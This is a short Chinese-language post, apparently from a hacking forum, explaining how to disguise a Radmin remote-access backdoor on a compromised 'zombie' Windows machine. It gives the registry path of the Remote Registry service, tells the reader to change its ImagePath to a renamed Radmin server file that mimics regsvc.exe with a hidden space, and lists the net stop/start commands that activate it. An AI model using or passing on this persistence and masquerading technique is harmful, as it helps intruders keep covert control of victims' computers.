注册
登录
| 关键词： nbsp 服务 system regsvc SystemRoot exe radmin 注册表 文件 表里 |
作者：[email protected]以下就拿我们都熟悉的radmin做演示,其他类似！例如：Remote Registry服务，他的作用是允许远程注册表*作。（为了肉鸡的安全，我们把这个服务修改为我们的后门radmin服务）他的服务执行文件是：%SystemRoot%\system32\regsvc.exe他在注册表里的地址是：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteRegistry修改右边的字传值ImagePath，把：%SystemRoot%\system32\regsvc.exe修改为我们的服务程序："%SystemRoot%\system32\regsvc .exe" /service（呵呵，我把r_server.exe该为了regsvc .exe可惜不能覆盖原文件，注意空格）好了，把你的radmin的信息注册表的导入，然后：net stop RemoteRegistrynet start RemoteRegistryOK！ |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
